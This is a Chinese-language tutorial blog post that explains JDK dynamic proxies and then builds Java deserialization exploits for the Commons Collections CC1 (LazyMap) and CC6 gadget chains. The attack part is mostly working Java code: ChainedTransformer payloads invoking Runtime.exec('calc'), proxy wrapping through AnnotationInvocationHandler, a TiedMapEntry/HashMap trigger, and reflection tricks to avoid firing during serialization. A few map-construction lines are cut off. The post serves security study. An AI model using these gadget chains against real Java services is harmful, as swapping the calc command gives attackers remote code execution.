骐骥一跃,不能十步;驽马十驾,功在不舍;锲而舍之,朽木不折;锲而不舍,金石可镂。
什么是动态代理?
动态代理是java中的一种设计模式,简单来说,我们直接访问源对象,而是通过一个代理访问。代理模式可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强。
代理类和被代理类应该共同实现一个接口,或者是共同继承某个类。
接下来看一些代码
首先是我们要被实现的接口IUser
public interface IUser {
public void show();
}
然后是实现IUser接口的类UserImpl
public class UserImpl implements IUser{
@Override
public void show(){
System.out.println("展示");
}
}
最后是代理了UserImpl类的代理类UserProxy
public class UserProxy implements IUser{
IUser iUser;
public UserProxy(IUser iUser){
this.iUser = iUser;
}
@Override
public void show(){
System.out.println("调用了show");
iUser.show();
}
}
接下来写一个测试类ProxyTest
上述流程看起来没什么问题,那是因为UserImpl类中只实现了一个方法,真实情况往往不会这么简单,需要调用的类中往往有许多方法,所以对于代理类来说,就是一件非常麻烦的事情,原始类中所有的方法,代理类中都要添加,这样我们才能在调用代理类时,调用到原始类的对应方法。
这样显然是非常麻烦的,我们假设,如果代理类可以获取我们要调用的方法,然后类似于反射,根据获取的方法名反射调用原始类的方法就好了。
而这就需要引入JDK中的一个技术——动态代理。
这里需要用到Proxy类的newProxyInstance,从名称可以看出来,就是新建一个调用接口
结合上面的静态代理,我们先来思考一下,作为一个代理类,我们需要什么呢?
1、需要代理的接口;
2、代理类中需要做的事情;
3、调用一个类加载的东西,我们是在测试类中实例化的Proxy类,源码当中是没有的,我们要去加载它,所以需要一个ClassLoader。
我们进去Proxy类中看看
第一个参数为类加载器,classloader,固定写法;第二个参数为我们需要代理的接口,固定写法;第三个参数即为要做的事情,需要我们自己传给它,可以看到参数类型为InvocationHander,应该和反射有些关系,进去看看
可以看到这是一个接口,其中只有一个方法invoke,所以我们需要新建类实现这个接口,把我们新建的类的对象传入newProxyInstance中,invoke方法第二个参数即我们调用的方法,这里为show()方法;第三个参数为方法的参数值。
我们来写实现这个接口的类UserInvocationHandler:
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvocationHandler implements InvocationHandler {
IUser iUser;
public UserInvocationHandler(){
}
public UserInvocationHandler(IUser iUser){
this.iUser = iUser;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
method.invoke(iUser, args);
return null;
}
}
上述代码中,我们在构造函数中传入实现了我们接口的原始类对象,就直接invoke反射调用了该类的方法;这里无论外部调用了什么,invoke方法都会捕获到,并调用对应的方法。
接下来来写我们的测试方法:
public class ProxyTest {
public static void main(String[] args){
//直接调用UserImpl类
IUser userimpl = new UserImpl();
// userimpl.show();
//
// //调用UserImpl类的代理类
// IUser userproxy = new UserProxy(userimpl);
// userproxy.show();
InvocationHandler userinvocationhandler = new UserInvocationHandler(userimpl);
//代理的接口,要做的事情,类加载器
IUser iUser = (IUser) Proxy.newProxyInstance(userimpl.getClass().getClassLoader(), userimpl.getClass().getInterfaces(),userinvocationhandler);
iUser.show();
}
}
userimpl.getClass().getClassLoader()和userimpl.getClass().getInterface()为固定写法,记住就好
第二个参数(class数组)也可以换一种写法,因为这里我们知道实现的接口是IUser,所以可以写为new Class>[]{IUser.class},执行效果一样。
以上就是JDK动态代理,接下来学习CommonsCollections1的另外一条链,动态代理为其前置知识。
CommonsCollections1另一条链(LazyMap)
在上一篇中,我们查找调用了危险函数InvokeTransformer(transform)方法的上一个方法是TransformMap(checkSetValue),而这一条链从这里开始不同,为LazyMap(get)
get方法代码如下,只要factory为我们可控,就可以将其传值为实现了Transformer接口的类的对象,但是我们要走到调用transform方法的地方,需要先进入一个if。
这里类如其名,为什么叫LazyMap,当调用类中的get方法时,它会偷个懒,判断调用它的map中是否存在key,存在的话直接返回key值,不存在才会进入if调用transform方法,这里要注意一下。
下图的factory的调用与TransformdMap不能说是很相似,只能说是一摸一样。。。factory参数可以在构造函数中传入,而构造函数被protected修饰,被decorate函数调用,所以可通过decorate函数传参。
至于key是否可控,我们就要去查找谁调用了get方法。
这里还是在AnnotationInvocationHandler中,我们在这个类中找到了5个get方法调用。
其中3个被memberValues调用,1个被memberTypes调用,1个被annotationType.members()调用,那我们到底用哪个呢?其中后两个是我们不可控的,我们看看memberValues(需要map对象调用,所以必须可控)
它可以通过构造函数传入:
我们再来看使用memberValues并调用了get方法的方法,发现了invoke函数,这不就是动态代理?这里AnnotationInvocationHandler类就是动态代理的调用处理器类(相当于前文中的UserInvocationHandler类),无论外面调用了什么方法,都会调用invoke。
调用处理器类已经有了,此时,只要有一个动态代理类能够使用该处理器,并调用了任意方法,就能够走到invoke。上图可以看到,我们要走到上图中的get方法调用,首先要绕过两个if,即调用的任意方法不为equals,也不能调用有参方法。
可以看到,这个方法就在AnnotationInvocationHandler类中的readObject方法中被调用。
入口类,调用链,危险函数都有了,代码实现如下:
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//创建Transform对象的数组,数组中的值为危险函数(transform函数)所在类的对象,最终目的就是调用到这个对象的危险函数(transform函数)
Transformer transformers[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
//将数组传入ChainedTransformer,返回一个该类的对象
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map
Map
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationinvokationhandlerMethod = c.getDeclaredConstructor(Class.class, Map.class);
annotationinvokationhandlerMethod.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotationinvokationhandlerMethod.newInstance(Override.class, lazymap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = annotationinvokationhandlerMethod.newInstance(Override.class, mapProxy);
serilization(o);
unserilization("cc3.ser");
}
public static void serilization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.ser"));
objectOutputStream.writeObject(o);
}
public static Object unserilization(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object o = objectInputStream.readObject();
return o;
}
好的,我们来顺着捋一遍这个逻辑:
在反序列化时,a.调用AnnotationInvocationHandler的readObject方法,该方法的memberValues是mapProxy(动态代理类强转的Map类的对象);b.因为调用了动态代理,所以会调用处理器类,也就是会走到AnnotationInvocationHandler的invoke方法,该方法调用了get方法(LazyMap的get方法),后面就跟上一节(CommonsCollections1链手写利用)一样了。
另外,注意上面这条链和上一篇的调用链需要jdk版本小于等于8u65,8u71及之后的版本中,cc1被修复了,在AnnotationInvocationHandler类中做了调整。
CommonsCollections6
这条链后半部分与cc1相同,前半部分与URLDNS链相似,这条链比较短,并且调用方式都大差不差,这里就不剖析了,贴一下代码(jdk_8u71):
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
Transformer transformers[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map
Map
TiedMapEntry tm = new TiedMapEntry(lazymap, "aaa");
HashMap hashMap = new HashMap();
hashMap.put(tm, "123");
serilization(hashMap);
unserilization("cc3.ser");
}
上述代码存在一个问题,就是在序列化的时候依旧会执行,所以可以改写为下面的形式
原因:我们的逻辑是反序列化的时候,readObject函数中调用hash函数,hash中调用hashCode,然后一路调用下去,这里的问题是,在序列化的时候,put函数中也会调用hash函数然后把这条链走完,所以我们需要将这条链中的某一个类调用改为无效的。
下面代码中将LazyMap本该调用的ChainedTransformer对象改为了ConstantTransformer对象,所以在put的时候无法走完这条链,然后我们利用反射将ChainedTransformer对象放回去,再序列化即可。
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
Transformer transformers[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map
Map
TiedMapEntry tm = new TiedMapEntry(lazymap, "aaa");
HashMap hashMap = new HashMap();
hashMap.put(tm, "123");
//如果不把key移除,那么反序列化的时候会不会进入下图中的if,也就不会调用ChainedTransformer
lazymap.remove("aaa");
Class c = LazyMap.class;
Field fac = c.getDeclaredField("factory");
fac.setAccessible(true);
fac.set(lazymap, chainedTransformer);
serilization(hashMap);
unserilization("cc3.ser");
}
如果上述代码中不移除key值,这里反序列化的时候key值存在,那么就不会进入if。
参考链接:
(完)